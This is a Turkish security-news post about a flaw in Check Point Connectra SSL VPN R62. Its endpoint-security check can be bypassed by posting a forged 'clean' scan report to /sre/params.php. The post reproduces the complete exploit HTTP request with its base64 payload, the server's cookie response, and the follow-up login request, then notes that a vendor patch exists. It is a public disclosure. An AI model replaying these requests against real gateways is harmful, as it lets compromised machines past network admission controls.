Virüs Güvenlik Haberleri

Connectra SSL VPN,entegre saldırı tespit ile endpoint güvenliği sağlayan bir Web Security Gateway ürünü. Bir istemci dahili ağa bağlanmadan önce istemci tarafında güvenlik porblemi olup olmadığı test ediliyor. Eğer bir problem tespit edilirse kullanıcıya detayları gösteriliyor ve ağa girmeden önce testi geçmiş olması gerektiği belirtiliyor. Bu testi aşmanın bir yolu ROnic Bachar ve Nir Goldshlager tarafından tespit edildi. Makinasında trojan veya diğer güvenlik tehditleri bulunan bir kullanıcı bu testi atlatarak dahili ağa girebiliyor. Bu işlem /sre/params.php sayfasına “iyi” raporunun gönderilmesi ile gerçekleşiyor. Rapor gönderildikten sonra sunucu istemciye bir cookie set ediyor ve bu cookie ile bypass işlemi gerçekleştiriliyor. Açığın Connectra son sürümü R62′de olduğu rapor edildi.

Detay: Açıktan aşağıdaki şekilde bir POST isteği gönderilerek yararlanılabiliyor: POST https://serverip/sre/params.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: ICS_Secure Host: serverip Content-Length: 251 Cache-Control: no-cache Cookie: ICS_Test_Cookie=1 Report=PD94bWwgdmVyc2lvbj0iMS4wIj8+Cgo8U3JlU2NhblJlcG9ydCBWZXJzaW9uPSIzLjcuM TE2LjAiPgoJPFVzZXJJbmZvIFdpbkRvbWFpbj0iIiBXaW5Vc2VyPSJyb25pIiBXaW5Vc2VyQ2F0Y WxvZz0iQzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xyb25pLkxFTk9WTy00RkZFRjRFMyIvPgo8L 1NyZVNjYW5SZXBvcnQ+Cg== Bu isteğin gönderilmesinden sonra sunucudan bir Set-Cookie alınıyor: HTTP/1.1 200 OK Date: Fri, 15 Dec 2006 17:16:19 GMT Server: CPWS Last-Modified: Fri, 15 Dec 2006 17:16:19 GMT Pragma: no-cache Cache-Control: no-cache Set-Cookie: ICSCookie=ffbe7a3740e0db1c2d11b2c6b24c917d; expires=Tue, 13 Sep 2016 17:16:19 GMT; path=/; secure Content-Length: 0 Content-Type: text/html Bu ICSCookie’nin bir sonraki isteğe eklenmesi gerekiyor: GET https://serverip/Login/Login?LangCode= HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Accept-Language: en-us UA-CPU: x86 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Host: serverip Connection: Keep-Alive Cookie: CheckCookieSupport=1; ICSCookie=ffbe7a3740e0db1c2d11b2c6b24c917d

Çözüm: Check Point bu açık için bir yama çıkardı.

Kaynak: http://seclists.org/fulldisclosure/2007/Jan/0409.htm

Bu yazıdaki yorumları ve değişiklikleri RSS 2.0 ile izleyebilirsiniz.